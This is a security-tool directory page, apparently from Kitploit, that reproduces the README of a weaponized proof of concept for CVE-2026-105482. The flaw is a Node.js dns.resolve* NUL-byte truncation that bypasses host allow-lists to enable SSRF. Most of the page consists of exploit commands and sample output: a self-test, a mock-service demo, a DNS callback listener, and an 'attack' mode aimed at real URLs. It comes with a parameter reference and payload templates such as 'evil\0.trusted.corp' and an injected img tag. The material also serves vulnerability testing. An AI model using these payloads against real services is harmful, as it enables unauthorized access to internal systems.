Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-105482-POC — Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes. | Kitploit
도구/GitHubGitHub/catermaozi/cve-2026-105482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingDNS Analysis
GitHubcatermaozi/cve-2026-105482-poc

CVE-2026-105482-POC

Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes.

저장소 보기
922026년 10월 24일아직 검토되지 않음

관련 도구

  • nuclei

    빠른 YAML 기반 취약점 스캐너로, 템플릿 기반 탐지 엔진을 통해 웹 애플리케이션, API, 네트워크, DNS, 클라우드 인프라 전반에 걸친 자동화된 보안 테스트를 수행합니다.

  • zaproxy

    자동 취약점 탐지, 수동 침투 테스트, 그리고 프록시 기반 가로채기 엔진을 이용한 API 보안 테스트를 위한 오픈소스 웹 애플리케이션 보안 스캐너입니다.

  • openvas-scanner

    이 저장소에는 Greenbone Community Edition용 스캐너 구성 요소가 포함되어 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    Callisto

    jetp1ane/callisto

    Ghidra를 통해 실행 파일을 디컴파일하고, Semgrep으로 의사 C 코드를 스캔하며, GPT-3.5-Turbo를 사용하여 결과를 검증해 거짓 양성을 줄이는 자동화된 바이너리 취약점 분석 도구입니다.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    836
  • 3

    DFRoot

    a2333c/dfroot

    삼성 Galaxy S25 Ultra(SM-S938B)용 Android 루트 도구로, DirtyFrag CVE-2026-43284와 CVE-2026-43499를 연쇄하여 KernelSU를 통해 부팅 시 자동으로 루트 권한을 획득합니다.

    449
  • 4

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    391
  • 5

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    346
  • 6

    faraday

    infobyte/faraday

    공격적 보안, 취약점 관리, 자율 펜테스팅을 위한 오픈소스 및 AI 기반 사이버보안 도구. 라틴 아메리카의 해커들이 만들고 전 세계에서 사용됩니다.

    345

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-105482 — Node.js dns.resolve* NUL Byte Truncation

Host allowlist bypass → SSRF. Weaponized, end-to-end tested and verified.

CVE Affected Versions Python Dependencies License Sister Repository


Vulnerability Details

"attacker.example\0.trusted.corp".endsWith(".trusted.corp")  // true

dns.resolve4() hands this string to c-ares, and c-ares treats it as a C string, silently stopping at the first 0x00. The application validates the full string, but what gets resolved on the network is only the part before the NUL.

应用层校验 : attacker.example\0.trusted.corp   -> 判定在白名单内
解析器收到 : attacker.example                  -> 攻击者自己的 DNS 服务器

Any DNS domain name an attacker can control thus slips through a filter that believed it was only allowing internal hosts.


Affected Versions

Version LineAffectedFixed Version
22.x< 22.23.422.23.4
24.x< 24.22.124.22.1
26.x< 26.12.126.12.1
All EOL version linesNot fixed—

Only the c-ares path is affected: dns.resolve4, dns.resolve6, dns.resolveAny, dns.resolve, dns.resolveCname, dns.resolveMx …… dns.lookup() uses getaddrinfo() and is not affected. For the full tested list, see Reachability Matrix.


Quick Start

./run.sh                # 环境检查 + selftest + 端到端 demo

Windows:

run.bat

No third-party dependencies. Only the Python 3.8+ standard library is required, along with node in PATH.

Manual invocation:

python3 cve_2026_105482.py selftest   # 判断当前运行时是否受影响
python3 cve_2026_105482.py demo       # 打穿自带的存在漏洞的 mock 服务
python3 cve_2026_105482.py dnsd       # 独立的 DNS 回调监听器
python3 cve_2026_105482.py attack …   # 对真实接口发起注入

Mode Details

selftest — Differential Probing

Starts a local DNS server, runs a matrix of API calls, and then reports which calls actually passed the truncated name to c-ares. This is a behavioral test, not a version-number comparison — it works equally well against runtimes that have been patched and recompiled, or that have backported the fix themselves.

=== local runtime matrix ===
node: v22.16.0
  case             api          host (NUL shown as \0)               outcome    truncated?
  baseline         resolve4     nul-canary-3xiai1.example.invalid    resolved   no
  nul-resolve4     resolve4     nul-canary-3xiai1\0.trusted.corp     resolved   YES
  nul-resolveAny   resolveAny   nul-canary-3xiai12\0.trusted.corp    error      YES
  nul-reverse      reverse      127.0.0.1\0.trusted.corp             error      no
  nul-lookup       lookup       nul-canary-3xiai13\0.trusted.corp    error      no

  resolver saw: ['nul-canary-3xiai1.example.invalid', 'nul-canary-3xiai1', 'nul-canary-3xiai12']

[-] VULNERABLE - dns.resolve* truncated the name at the NUL byte

nul-lookup and nul-reverse are counterexamples: they can help you avoid wasting a day on an interface that uses getaddrinfo.

demo — Full exploit chain, no target required

Start a mock service

if (!target.toLowerCase().endsWith(".trusted.corp")) return deny();
dns.resolve4(target, cb);
--- 1) control: a name outside the zone is rejected ---
    status=403 body=DENY whitelist: "plain.example.com"

--- 2) attack: 'evil\0.trusted.corp' passes the allow-list ---
[+] CALLBACK  8et8143.attacker.example  A  from 127.0.0.1:53318
    status=200 body=RESOLVED "8et8143.attacker.example\u0000.trusted.corp" -> 203.0.113.7

[+] DEMO PASSED - allow-list said yes, DNS actually queried '8et8143.attacker.example'

dnsd — Callback Listener

A minimal, semi-authoritative UDP DNS server. It logs every query and responds to A/AAAA, so that the subsequent stages of the SSRF chain can keep running.

python3 cve_2026_105482.py dnsd --listen 0.0.0.0:5353 --log hits.jsonl

When the target's parser can connect directly to you, use it and skip the listener built into attack.

attack — Attack the real interface

python3 cve_2026_105482.py attack \
    --url https://target.tld/api/fetch --method POST \
    --format json --param url \
    --suffix .trusted.corp \
    --evil 7f3a.oob.example \
    --dns-listen 0.0.0.0:5353 --dns-log hits.jsonl

Exit code 0 indicates a callback was received — the allowlist has been bypassed.


attack Parameter Reference

ParameterDefaultPurpose
--urlrequiredThe endpoint that will ultimately call dns.resolve*
--methodPOSTHTTP method
--formatjsonjson · form · query · raw · header
--paramurlField name / query parameter name / header name to inject into
--suffix—Allowlist suffix to preserve, e.g. .trusted.corp (repeatable)
--suffix-file—One suffix per line; # comments allowed
--evilrandomDomain under your control
--evil-domain—Generate <随机>.<该值> instead of a fixed name
--host-template{evil}\0{suffix}Fully control the shape of the injected string
--wrap-urloffAlso try http://<payload>/ and https://<payload>/
--body-template—Raw request body, using the {payload} placeholder
--header—Additional request headers, Name: value (repeatable)
--proxy—Route through an intercepting proxy
--timeout15Per-request timeout (seconds)
--wait2.0Wait time before checking for a callback
--dns-listen—Start the built-in listener, 0.0.0.0:5353
--dns-answer203.0.113.7A record returned by the listener
--dns-log—Append each hit to a JSONL file

Injection Shapes Worth Trying

# 1. JSON body 里的裸主机名
--format json --param url

# 2. 接口要求传入完整 URL
--format json --param url --wrap-url

# 3. 值被嵌进 HTML / 模板的场景
--host-template '<img src="http://{evil}\0{suffix}/x">'

# 4. form 表单上传处理
--format form --param callback_url

# 5. 一次跑多个白名单域
--suffix .trusted.corp --suffix .internal.example --suffix .svc.cluster.local

Why it works, and where it doesn't

PathUsableNotes
JSON body → dns.resolve4Yes\u0000 can pass through JSON.parse
Form field → dns.resolve4YesSame string path
Message queue / config entryYesAny carrier that ultimately produces a JS string
new URL("http://a%00.b/")NoThrows an exception directly — %00 is rejected
http.request({ host })NoNUL is rejected when constructing the Host header
fetch()NoGoes through URL
dns.lookup()NoGoes through getaddrinfo, not c-ares
dns.reverse()NoRejected first by inet_pton

The NUL must be handed to dns.resolve* intact, as a JavaScript string. Usually this means: a JSON body, a form field decoded by the application itself, a queue message, or a stored config value.


Where it pays off

도구 다운로드